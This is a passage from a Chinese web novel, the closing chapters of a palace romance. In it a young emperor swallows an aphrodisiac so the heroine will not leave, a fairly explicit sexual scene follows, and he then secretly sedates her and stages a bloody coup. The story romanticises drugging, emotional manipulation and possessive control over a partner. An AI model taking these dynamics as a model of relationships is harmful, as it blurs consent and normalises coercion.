她睁着被黑眼圈包围的眼,脑袋沉沉地去尚仪局,把事办完,直打哈欠。 回去后随便对付了几口,看天色还早,打算眯一会,别晚上犯困,耽误了事。 永寿宫内,袁络仪屏退所有宫女,焦急等待。 听到三声敲击后,急急去内室开了后窗,见着人进来,低声问:“事情进展可还顺利?” 允王点头,环住她腰身,道:“放心,我已经安排好一切,只等你动手,一切便可顺利往下推。” 说着,他吻住袁络仪眉心,露出笑:“到时我们便可,光明正大在一起。” 袁络仪面上荡出喜色,回应着他的吻,说出自己的计划。 “我会在选秀期间动手,他无法违抗我的命令,只是……”想到最近的异常,她心有不安,派出去杀云黛的人全都失去踪迹,允王在宫中的眼线并未查出异样,这便怪了。 “你还是小心些,我总是觉得不大对劲。” 允王道了声好,随后松开她,说了句好听话就要走。 袁络仪知道他要去做什么,叮嘱几句,让他离开。寝殿内安静片刻,响起她的呼唤:“来人。” 王嬷嬷进来行礼,问:“太后有何吩咐?” 袁络仪叫她上前,附耳说话。 王嬷嬷听完,立刻去做。 夜,很快降临。 乾坤宫内与昨晚一般的安静,安静到小福子浑身不适,已经连续好几日都这般冷清,昨晚云黛好不容易来了,只待了一会便走,今日又没来,这乾坤宫冷清得像是没人住。 小福子又不敢进去问,在外头低声叹气。 寝殿内暗卫汇报着查到的内容,“云尚仪今日去了尚仪局,回来后便睡下,并无异样。” “只是昨日云尚仪与她院子里的宫女去了后院,那儿有一处可通一人过的狭小洞窟。” 剩下的不用说,谁都能猜到那洞窟用途。 殿内响起敲击声,骆明烛屈指,一下一下地敲击桌面,越来越快的频率昭示着主人此刻不安宁的内心。 她果然是想走。 为何要走? 他的眼里罕见带上了困惑。 骆明烛忽然开口:“取些桃花散来。” 暗卫很快拿来,送到后便退出去。 骆明烛望着桌上桃花散,想到那晚云黛与自己说的话,低声呢喃:“黛姐姐又要骗孤。” 他拿起桃花散,竟然没有就水冲开,直接倒入自己口中。 这次并非提前告知她,她房间里没有桃花花瓣,解不了桃花散。 “黛姐姐不该骗孤的。” “所以黛姐姐也不能怪孤用这种方式把你留下来。” 抬起的眼眸含着化不开的墨色,少年天子起身,走出寝殿。 小福子方要问他要去何处,被他勒令守在乾坤宫。 小福子看着他背影隐没在夜色中,摸了摸头,一拍手心,哎呦一声,“陛下是不是要去看云尚仪!” 他高兴不已,陛下终于开窍,知道要主动接近云黛,太好了!说不定以后能看到他们在一起呢! 小福子高兴得蹦了两脚,哼着听不出来是什么曲子的调子守着乾坤宫,等骆明烛的好消息。 那边云黛正着急忙慌地换衣衫,谁知道这一觉直接睡到天黑,还是被王嬷嬷搞醒的。 “云尚仪真是忙啊,忙得这么累,睡到现在?” 云黛不想搭理她,哼哼一声,由着她蛐蛐,等今晚一跑,你在我听不见的地方随便蛐蛐,爱怎么蛐蛐就怎么蛐蛐。 “明日就是最后一天,你若不是不在明晚前教会陛下,云尚仪,你你该知道后果是什么。” 云黛极为敷衍地点头,这活谁爱干谁干去,她不奉陪了! 王嬷嬷还想再说几句,但见云黛那左耳朵进右耳朵出的样便知她没把自己的话放在心上。 逼近云黛,警告她:“你若是不做,太后有的是办法收拾你。” 云黛知道,之前不就是想收拾她吗? 话说袁络仪行为举止很奇怪,派人杀她,见她安然回来也不试探她是怎么避开杀手的,现在么反而又叫她做这种没有逻辑的事,她袁络仪是不是和骆明烛有仇啊。 算了,不管了,反正都要走了,想这些也没有用。 敷衍地说了几句自己会去骆明烛那,把王嬷嬷应付走,拍拍脸颊,赶紧换衣服。 她找来了不是很显眼的宫女服,套在外头,里面套了一身粗布麻衣,等出宫就把宫女服消尸灭迹,免得被发现。 刚打开门要走,忽地想起落了件东西,回去拿。 还没找到,就听到一声黛姐姐。 动作骤停,竖起耳朵仔细听,等了一会也不见那声呼唤再起,心道自己居然想这个人想得幻听,笑自己真是被他迷住了,居然能在这个时候幻听。 “黛姐姐。” 云黛心口狠狠一颤,身子僵硬,不敢回头。 这一次是真真切切听到骆明烛在唤自己。 他怎么这个时候来了!她马上就要走了了!他来了她还怎么走!怎么偏偏早不来晚不来,这个时候来! “黛姐姐,孤好难受……” 少年天子变了调的声音传来,不大稳当的脚步声跟着靠近。 云黛一听就知道不对劲,当即转身,看到她昨晚才对着说了告别话的人,此刻踉踉跄跄冲自己而来。 离得越近,看得越清楚。 少年天子面颊浮现不正常的红,眸光潋滟,眼眸里含着因委屈难受而产生的泪花,沾着泪花的眼睫一颤一颤,每次颤动,都像是把小刷子,在她心口刷过一般,惹得心口痒痒。 他唇上似乎有被咬过的痕迹,齿印很淡,唇微微张开,隐约可见抵着牙关抑制那不正常的声音发出来。 “黛姐姐,孤浑身难受。” 他一步步靠近,云黛还没碰到他,就已经感觉到他肌肤滚烫的温度,这样的他,只在那晚她给他下药时见过。 云黛直愣愣看着他靠近,等到他几乎与自己相贴时,才发现他究竟是好看得有多么的叫人难以移开眼,就连他抬起她的手,脸颊在她手心蹭时,都没能移开看他脸的目光。 称之为魅妖也不为过。 云黛承认自己是被美色昏了头,竟然不想现在离开了。 “黛姐姐,孤忽然好难受,你能不能帮帮孤。” 少年天子像个藤蔓缠上来,用他的气息侵占云黛呼吸的空间,他身上的温度很快将云黛的掌心带得与他一般的热,像团火,越烧越旺。 云黛大脑宕机,等到险些被他压倒时,立刻回神,仔细一看,瞬间想起自己给他下桃花散的那晚,那时他也是这样的反应。 “你别怕,我去找解药,桃花花瓣,你吃了桃花花瓣就没事!” 可她刚撒开手,就被他拉住手腕,方一抬头,撞进他满是欲色的眼,眼睫一颤,被身体得不到抑制的难受折磨出来的泪,就在她眼前掉落。 少年天子咬了唇,极力忍耐,还是忍不住颤声说出来:“黛姐姐,孤好像在被火烧。” 他似乎没法子忍到她找回解药。 云黛一时间看愣了眼,脑海里冒出一个尤为荒谬的念头。 反正都要走了,再做点什么,应该也没有关系吧?再说了,这么年轻还好看的身体,以后估计也遇不到了。 但这个念头只是一闪而过,被她扔进垃圾桶。 她不能趁人之危做这些。 骆明烛出了这事第一反应就是来找她,想来该是很信任她,她要是做了这事,那不就是辜负他信任。 不能做。 “你松开,我去找解药……” 但骆明烛非但没有松开,还握得更紧,泪珠一滴一滴砸下,看起来是真的很难受。 “孤等不了那么久……” 云黛怔愣,理了理他话里意思,缓缓出口:“那,那你是要我帮你?” 少年天子身子一歪,她下意识去扶,但他已经站稳,声音却不稳。 “黛姐姐,愿意吗?” 云黛:哦豁,不是吧,不是吧,真的要那么做? 她想拒绝,但看见他此刻旖旎艳色的模样,拒绝的话说不出来。 说实话她不是圣人,而且他都说要她帮了,不算她趁人之危吧。 “那,那我就帮你这一次。” 她说完,骆明烛轻轻点了头,身子一下砸在她身上,险些将她砸倒。 滚烫的脸颊蹭着她颈窝,声音缠绵:“黛姐姐,你真好。” 云黛被他的亲密动作弄得有点脸红,结巴应了一声,拍了拍他后背,说要去关门。 “好,孤等你。” 少年天子乖乖松开她,目光灼灼。 云黛忽地不敢与他对视,匆匆去关了门,还心虚地把门拴了,之前换衣衫时已经把窗户关了,现在屋子里密不透风。 做完这些,这才拉着骆明烛走向床边。 刚松开他,他就自己褪了外袍,跪坐在床上,扬起还落着几滴泪的脸,望向她。 外袍一脱,脖颈肌肤露出,让她看得更清楚。 他那比常人白出几个度的肌肤透着粉,胸口衣裳在他方才扯外裳时弄乱,领口大开,一眼就能瞧见他凸起的锁骨。 往下,便是随着呼吸起起伏伏的胸膛。 云黛一时间看花了眼,直到听见他的声音,才回神。 “黛姐姐,孤难受……” 云黛猛地一抬头,看清他此刻神态的瞬间,脑子里冒出一个声音。 坏了云黛,你被这个人吃得死死的。 她深吸一口气,朝他走去。 第49章 “你知道的,有时候人很 容易被美色迷惑。” 系统:“……” “你想上就上呗,不用找借口。” 云黛觉得自己有点紧张,第一次做这种事情,哪有不紧张的,而且这与之前口述一点都不一样,真刀实枪地干,一个不留神,很容易出事。 但是骆明烛面色越发地潮红,衣领都快要扯开,眸光像是一团火,将她包围,烧得她浑身温度飙升。 “我是说如果,如果我和他那啥了,他解了桃花散后,应该不会怪我吧。” 系统想说他巴不得你给他解桃花散呢,怎么可能会怪你,但觉得这话说出来可能不太好,换了个表达方式说: “他主动来找你帮忙,肯定是信任你,绝对不会怪你的。” 云黛点了头,系统这话一说,她就不担心了。 但还是紧张。 半天才往骆明烛那挪了几步,低哑的声音落到她耳中,听得她面红耳赤。 救命,之前也没见他这么会喘啊。 “黛姐姐……” 少年天子似乎被折磨得不轻,喊这声黛姐姐时,声音轻得如羽毛,轻飘飘落在云黛心上,听得她心痒痒,真想对他做些什么,让这声音大一些,让她听个够。 走到他面前时,她刚要说话,他忽然直起身,炽热的气息砸过来,一把将她拉入欲海。 “黛姐姐,孤好想……”他的话没有说完,半阖的眼帘下是他化不开的欲色,是想将面前女子拆吃入腹的欲望。 他像是条藤蔓,缠在云黛身上,不留一丝空隙。 云黛下意识接住他的身子,结果被他一拉,人直接往床上倒,重重压在他身上 他的闷哼与身体碰到的异样之处同时传达给她,云黛蓦地红了脸,撑着身子起来,背对他捂脸,险些没绷住。 妈耶,妈耶妈耶,好明显…… 云黛真的是第一次感觉到,没反应过来,大脑宕机,傻愣愣说:“我给你找解药来吧,对,找解药。” 刚要走,手被拉住,身后传来他哑得不像话的声音:“黛姐姐嫌弃孤。” 云黛哪有这个意思,“我没有,你胡说!” “那黛姐姐为何要反悔?” 少年天子的声音里带了委屈:“黛姐姐若是不嫌弃孤,为什么忽然说要去找解药。” 他越说越来劲:“黛姐姐就是嫌弃孤,觉得孤是累赘,也不想管孤,昨晚只说了那么几句就走,还要孤纳妃,黛姐姐一点都不在乎孤的想法。” 云黛倒吸一口气,哭笑不得,怎么以前没有发现骆明烛这么会说,一个劲叭叭,她都插不上话。 “我真的没有——” “那黛姐姐证明给孤看。” 云黛被他激起了性子,转身就说:“好!我证明给——” 声音被吞下,骆明烛惊艳的容颜瞬间靠近,她不由自主地张大了眼,瞳孔倒映出他氤氲雾气的眼眸。 下一刻,直达灵魂的酥麻从唇上传来,云黛只感觉到那温度不正常的唇瓣与自己的唇相贴,密不可分。 心脏跳得飞快,一声一声,好似擂鼓,身子一点都动不了,被他搂着,被他亲吻。 “好甜。” 他那沙哑磁性的声音似在她耳畔发出似的,听得她身子一颤,莫名觉得他说错了。 明明是他好甜。 唇被他抵开,灵巧的舌探入,微微试探,没有感觉到抵触,更加肆无忌惮,拿准了她不会推开他。 云黛确实不会推开他,被他抱得那么紧,身体莫名其妙没了力气,哪还能推得开。 他的亲吻越来越重,吮吸吞咬,根本不给她呼吸的空间。 云黛只是和他亲过几次,还没掌握技巧,呼吸不上来,面颊涨得通红。 挣扎着呜呜几声,才被他松开了些。 她刚想叫骆明烛轻一点,结果这人脑袋砸在她颈窝,一个劲地蹭她脖颈,嘴里还一直喊她。 声音里的喘息听得她感觉自己在干坏事,伸手就去推他。 “你,你先松开我唔——” 云黛是真没想到这人还是个属狗的,居然还咬她的耳朵! “松口!” 骆明烛没听她的话,很久以前就想这么干了,她害羞的时候,耳垂通红,很可爱。 牙齿轻轻咬了一下,柔软的唇瓣含住,稍稍一抿,她就被刺激得身子一抖,声音都变了调,很好听。 他是不会让她走的。 一点可能都不会有。 不管她从何处来,现在,以后,都不能离开他。 “黛姐姐。”他唤她,声音缠绵,像是引诱人深陷的妖精,叫人听了心神荡漾。 云黛晕乎乎地应了一声,膝盖抵着床沿,不这样做,根本站不稳。 “黛姐姐要一直陪着我。” 云黛没有听清,偏头去看他,一眼对上他深邃的眼,里头满满都是她,这样露骨的眼神,她还是第一次见到。 第一次见就被迷惑住,根本招架不住。 鬼使神差地亲了一下他的眼,感觉到他纤长的眼睫一下一下地颤动,和她心脏跳动的频率样快。 刚松开,少年天子睁眼,欲色不再掩藏,铺天盖地地将喜欢的人笼罩。 他再一次拉住云黛,身子倾倒,撞在床上,搂紧云黛,不让她离开。 倾散的发丝垂在两侧,云黛直直望着他,望着望着,失了神。 “骆明烛。”她低低唤出他的名字,压在他身上,指尖碰了碰他脸颊,忽然说出很久之前就想和他说的话。 “你真好看。” 她笑了出来,很纯粹的笑意。骆明烛看得呼吸一滞,本来还能控制的欲望,在此刻瞬间膨胀,再也无法控制。 他抬手拉下云黛脖颈,一口咬上她的唇,覆于她后颈的手缓缓上移,按住她脑袋,压向自己。 想要与她融为一体,再不分离,不论去往何处,她都在他身边。 情欲一点就着,亲吻无法满足他,松开被吻得红肿的唇,眼神迷离地望着她,指腹抹去她唇角的水渍,轻轻笑了,“已经说好了,黛姐姐要帮孤,不可反悔。” 云黛本来是不想反悔的,但衣衫一褪,炽热的吻沿着脖颈往下,越咬越重,她忽然就怕了。 “我换个方法帮你。” 她伸手去推他,却被他抱得更紧,再一推,他就喘,“黛姐姐,你弄疼我了。” 云黛:“???” 说话就说话,造什么谣! 她一把推开骆明烛,刚想说自己的办法,就见他睁着快要哭出来的眼,控诉地望着自己。 直到此刻云黛才发现他身上衣衫都快褪干净了,腰腹处的伤疤看得她一阵心疼。 主动亲了一下他的唇安抚他,小声说:“我,用……帮你。” 少年天子眨了眨眼,懵懂不解。 云黛哎呦一声,干脆豁出去了,伸手碰了一下。 “唔!”他闷哼一声,攥紧了她的手,眼底暗色沉得可怕,却在云黛看过来时,立刻眨了一下眼,眼泪珠子说流就流下来。 云黛看不得他哭,匆匆抹了泪,不好意思说出来,想了想,凑到他耳畔,声音细若蚊呐。 少年天子轻轻眨了眨眼,说了个好。 他任由她玩弄。 一手扣住她的腰,一手被她按在他唇上,让他咬着,不发出声音。 云黛做这事也臊得慌,一直闭着眼,一丁点都不敢看。 却不知躺在床上压抑喘息的人,漆黑的眸子定定望着她,可怕的占有欲几乎凝成实质。 这样的方法虽是也可以解了桃花散,但不是他想要的,可只要是她,怎么做都可以。 房间内逐渐蔓延着那叫人混乱的味道,低哑压 抑的声音一声接着一声,根本止不住,一个劲地往云黛耳朵里钻。 她听得自己都忍不住,口干舌燥,但他还没有降下去的兆头,只得继续。 有点累,停了会,忽地一用力,想刺激刺激他,却被他猛地抓住手,人也被压倒,瞬间颠倒了位置。 “黛姐姐是故意的么?” 云黛刚想解释,就被他使劲捏了一下手,疼得倒吸一口气,“你轻点!” 骆明烛压下身子,低低笑出来:“方才黛姐姐怎么不轻一些?” “我不是怕你难受嘛,所以就……”果然还是小h文看多了,这招不管用啊! 骆明烛眨了一下眼,情难自禁地吻了她的唇,本来只是轻轻一碰便分开,但她回应了。 一发不可收拾。 左臂撑在她身侧,支撑自己的身子以免压到她,更深入地吻她的唇,右手握着她的手,引导着她帮自己。 稍一用力,他的喘息就随着他的吻将她淹没。 云黛也不知道他怎么这么会的,左手被他扣着不能动,右手扣着被褥,抓住褶皱。 舌头都被吸得发麻,唇一直张着,好像有什么东西从唇角流出来,缓缓往下流淌。 手上传来的感觉越来越叫她羞赧,想把手拿回来,硬是被他紧紧钳住,一点都抽不动。 他怎么还没好! 云黛咬了一下他的唇,让他松开些,催他快点。 骆明烛埋在她怀里,嗅着她身上馨香,声音沉闷:“这种事,怎么快得了。” 手还被他带着,覆在她手背上的手滚烫,还有茧子,磨得她手背有点疼。 云黛张了张口,不知道该怎么说,这种事也不好说啊! 骆明烛看出她的局促,勾起唇角,很是愉悦。 早知道这样,黛姐姐就不该答应帮我。 他忽地一声闷哼,听到女子的笑声,知道是她使坏。 报复性地咬了她锁骨一口,等她痛呼,他满意地弯了眼眸。却没想到她胆子竟然这么大,又是用力。 她那不着章法的动作却叫他意外地觉得酥爽,双眸逐渐失神,只余下叫她听得脸发烫的声音。 “嗯……黛姐姐……”【`xs.c`o`m 网】 第50章【终章】 第50章 云黛发誓,不管以后骆明烛怎么求自己帮忙,她都不要帮他了,这人简直就是个无底洞!根本不知道满足的! “我很累了,不想动了。” 也不知道时间过去多久,他还是那样,弄得她累得想睡觉。 少年天子委屈地在她颈侧哼声:“可是黛姐姐说好了,要帮孤的,黛姐姐又说话不算数。” 云黛想给他翻个白眼,她是答应了,但是没有答应一晚上都帮他! “我看你现在精神得很,你去抄写策论吧,实在不行去泡个冷水澡。” 骆明烛眼底满是笑意地望着她,当做没听见她的话,继续带着她的手动。第一次在自己喜欢的人面前做这种事,他无法克制自己。 …… 皓月高悬,星芒闪耀,弥漫着水雾的汤池内人影闪过。 健硕的身躯一寸一寸露出水面,浴袍披身,骆明烛走出汤池,水珠从他湿发尾端滴落,蔓延一地。 从云黛那出来,沐浴过后,便未再回去。 已经命人保护好她,她不会有危险。 原本是想等在选秀那日动手,但这唯一的变数一旦离开他的视线,他便很难保护好她。 所以他不能再等下去,今晚就要动手。 一切都已经准备稳妥,不论是袁络仪,还是骆翼鸿,今晚过后,都会为他们所做的一切付出代价。 骆明烛换好盔甲,腰间佩刀,离开乾坤宫。 小福子倒在寝殿里,层层暗卫守卫,除了他,还有昏睡过去的云黛。 这里是整个皇宫最安全之处,袁络仪的人无法闯进来,她若是敢擅闯,暗卫可不用请示骆明烛,直接将其斩杀。 这是骆明烛给的权力。 今夜,对很多人来说,是个不眠之夜。 骆明烛在寝殿内点了熏香,一时半会云黛与小福子醒不来,他只需要他们好好睡一觉,醒来后再也不用担惊受怕。 少年天子身披盔甲,手握刀柄,走出乾坤宫的瞬间,嗜血之气自他身上倾泻而出,黑夜中数道黑影显现,潜伏在皇宫各个角落,只要他一声令下,便会与宫外的军队里同时动手,拿下骆翼鸿。 骆明烛抬首望着夜空,明月倒映在他漆黑的瞳孔中,此刻他竟然并无一丝情绪波动,没有紧张担忧,也未曾有愤恨怨怼,只是很平静地抬手,口中吐出一字: “杀。” 霎时间,所有暗卫出动,与此同时看守宫门的侍卫被悄无声息地抹了脖子,暗卫代替侍卫,缓缓开启大门。 而潜伏在城内的护卫军在得到动手讯号时,立刻潜伏允王藏兵的各处,夜色中血流涌动,一场政变,在人们睡梦中悄然发生。 “太后,太后!出事了!” 王嬷嬷惊恐的声音传入寝殿内,惊醒美梦中的袁络仪,她正要斥责,却听王嬷嬷尖声道:“永寿宫被围住了!” 袁络仪怔愣片刻,反应过来立刻下床,急急往外走,方走出寝殿,便见刀尖寒芒在夜色中闪过,人被猛地往后拉。 “您快回来!” 袁络仪被拉着后退数步,盯着对着自己的刀尖,浑身发寒,险些就撞上刀口,没了命! “谁让你们擅闯哀家寝宫的?还不快滚出去!” 袁络仪一声呵斥,那黑衣人依旧举着刀,丝毫不退,身上血气浓重,一看便知是刺客。 心猛地沉了下去,手都开始抖。 王嬷嬷松开袁络仪,上前呵斥:“你是谁派来的?可知你面前的人是谁?” 黑衣人并无所动,王嬷嬷根本不把他当一回事,整个皇宫,谁有那个胆子伤太后! “你再不滚,我就要去喊侍卫来捉了你,将你关入大牢!” 说着她就冲黑衣人走,谁知刚迈出寝殿,那刀尖直冲她脖颈而来。 “你——” 王嬷嬷难以置信地瞪着黑衣人,巨大的痛楚从脖颈袭卷全身,温热的血喷洒而出,黑衣人眼睛眨也不眨,抽出刀,声音森冷。 “陛下有令,谁都不可离开永寿宫半步。” 袁络仪瞪大双眼,望着王嬷嬷缓缓倒地,伸手拽她的衣摆,哀求她:“太后,救我,救我。” 她猛地后退,避开王嬷嬷伸过来的手,惊慌迅速将她包围,哆嗦着唇,扭头去看拦门的黑衣人,怒喝道:“他怎么敢这么对哀家!” 黑衣人不理她,只要她不踏出这道门槛,他便不会动手。 王嬷嬷到死都不敢相信,自己伺候了袁络仪十几年,她竟然救都不救自己,甚至都不看她一眼。 可笑的是她死前,还在保护袁络仪。 真是效忠错了主子! “骆明烛人呢,叫他来见哀家,现在叫他来!” 不管袁络仪怎么歇斯底里,暗卫都无动于衷,根本不理睬她。 只要她靠近门槛,刀尖立刻怼在她面前,上头的血还未干,提醒她王嬷嬷是怎么死的。 越来越多的黑衣人将永寿宫围起来,密不透风,连只苍蝇都飞不出去。 地上的人已经不动了,连声音都没有。 袁络仪小心翼翼踢了她一脚,没有任何回应。她僵着身子愣愣望着王嬷嬷的尸体,终于意识到,本该在自己掌控中的人,不知何时竟然丰满了羽翼,早已经脱离她掌控,竟然暗中培养了刺客,连她都没察觉到。 “厉害啊,厉害啊!” 她像是疯了一般,凶狠瞪着暗卫,言语狠辣:“你们就等着允王入宫,将你们一网打尽。骆明烛,你果然和你娘一样,会藏得很,连我都被你骗了!” “允王一来,你必死无疑!” 暗卫只给她一个讥讽的眼神,这个时候还指望允王来救,做梦。 暗卫悄无声息地将护卫军放进来,斩杀袁络仪与允王明目张胆安排在宫里的侍卫。 几乎不到半个时辰, 宫内乱做一团。 一个时辰后,护卫军统领入宫,将情报带到骆明烛面前。 “启禀陛下,未曾寻到允王,属下怀疑,他潜进宫里了。” 他面前的少年天子哼笑一声,擦拭手中刀,缓缓道:“那就将他逼出来。” “遵命。” 护卫军统领立刻去搜寻骆翼鸿,此人在先帝驾崩后便很少露面,一提到允王,百姓们第一反应便是这是个闲散王爷,不管事,已经多年未曾露面。 实则鲜少有人知,他与太后袁络仪苟且,还妄图杀了骆明烛,他坐上这把龙椅。 当初先帝将皇位传给骆明烛,传位圣旨秘密交给苏丞相,是苏丞相当着朝臣的面揭开,才叫这两人传不了假圣旨,只得让骆明烛继位。 彼时骆明烛年仅六岁,无法处理朝政,袁络仪便以他年幼为由,垂帘听政,逐渐将掌控政权。 更是想通过造谣败坏骆明烛名声,以此“名正言顺”地赶骆明烛下位,再由袁络仪推举允王登基。 即使造谣不成,他们还有别的法子,选秀便是他们计划中的一环。 前来参加选秀的都是各大臣府里千金,若是全都因为骆明烛的某种癖好,惨死在宫里,大臣必然暴怒,届时他再加以挑拨,激发朝臣不满,加之骆明烛本就在朝臣心中没有好印象,这么一做,谁还会效忠骆明烛? 他的计划是完美的,只可惜,他们低估了骆明烛。 再袁络仪的控制下蛰伏十年,还能做到滴水不漏,不叫他们看出丝毫问题,骆明烛靠的也不仅仅是自己。 先帝早就看出袁络仪心怀不轨,可惜那时身边心腹太监都被收买,而自己又中了袁络仪的毒药,时日无多,若是就这么揭开他们的真面目,骆明烛必然会陷入险境。 所以先帝只能兵行险着,安排信得过的大臣暗中保护骆明烛。他知苏丞相为人耿直,轻易不会站队,且只会为皇室效忠,便放心将传位圣旨交给他。 为避免自己信得过的大臣被袁络仪与骆翼鸿联手杀害,不得不让他们请辞,隐姓埋名,招兵买马,训练军队,只等骆明烛成长之后,将这两个贼人伏法。 他若是失败,被袁络仪杀死,或是成了昏君,便由大臣选出贤德之士,推举成皇。 袁络仪始终不敢杀骆明烛只有一个原因,她没有找到玉玺。 没有玉玺,就无法正大光明将皇位传给骆翼鸿。他们等了十年,终是忍不住,意图篡位。 骆明烛知道他们的计划,与其说是知道,不如说他们的一举一动,都是他推着他们一步步落入他布下的陷阱中。 先前这两人太过谨慎,迟迟找不到把柄,而最近几月他们似乎等不及了,动静越来越大。 浑身遍布嗜血之气的少年天子,迎着月色前往永寿宫。 在他走到永寿宫时,统领的消息同时传达过来。 “允王带人闯进了永寿宫。” 永寿宫内宫女太监惊慌逃窜,暗卫与允王养的死士缠斗,人影在灯火里攒动,狰狞纠缠,血腥味弥漫。 骆翼鸿拉着被他救出来的袁络仪在混乱的人群中逃窜,前路被暗卫阻拦,他一刀劈开暗卫攻击,一脚踹开暗卫,瞅准时机跑出人群。死士护送他离开,冲到永寿宫门口时,骤然停下。 只见被他们当成傻子的人,站在门口,面带微笑。 “许久不见,皇叔。” 他似地狱而来的阎王,手中扬起的刀,已经迫不及待舔舐罪人的血。 “你说什么?你再说一遍?你再给我说一遍?” 片刻前惊醒的云黛还没理清自己怎么突然就跑到骆明烛寝殿里,还睡在他床上,就被系统一声急报吓个半死。 系统小声说:“我,我好像拿错书了。” “你穿的书确实是《渡山河》,但是……”系统觉得自己可能要被云黛投诉死,“但是我拿错了书,我拿的是《渡山河》同人小h文……” “也就是说,我要你走的那些剧情,根本不是你穿的这本书里的。” 云黛:“……” “我好想打死你啊!”【`xs.c`o`m 网】